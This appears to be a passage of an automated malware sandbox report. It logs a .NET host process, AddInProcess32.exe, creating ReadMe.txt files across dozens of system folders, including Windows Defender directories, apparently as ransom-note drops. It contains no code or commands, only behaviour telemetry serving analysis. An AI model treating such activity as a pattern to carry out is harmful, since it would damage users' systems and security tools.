                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Clean Store\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Backup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Default\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\NisBackup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Updates\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Features\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\LocalCopy\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Network Inspection System\Support\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Network Inspection System\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Quarantine\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\CacheManager\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\ReportLatency\Latency\19\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\ReportLatency\Latency\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\ReportLatency\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\Results\Resource\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\Results\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\Service\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\Store\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\MpPayloadData\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Support\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender Advanced Threat Protection\Temp\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender Advanced Threat Protection\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\ActivityLog\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\Common Coverpages\en-US\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\Common Coverpages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\Inbox\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\Queue\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\SentItems\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\VirtualInbox\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Security Health\Logs\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Security Health\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\WinMSIPC\Server\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\WinMSIPC\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\WwanSvc\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft Help\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft OneDrive\setup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft OneDrive\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Oracle\Java\installcache\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Oracle\Java\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Oracle\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\packages\vcRuntimeAdditional_amd64\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\packages\vcRuntimeMinimum_x86\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{19F7E289-17B8-44EC-A099-927507B6F739}v14.21.27702\packages\vcRuntimeMinimum_x86\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{19F7E289-17B8-44EC-A099-927507B6F739}v14.21.27702\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{19F7E289-17B8-44EC-A099-927507B6F739}v14.21.27702\ReadMe.txtJump to behavior
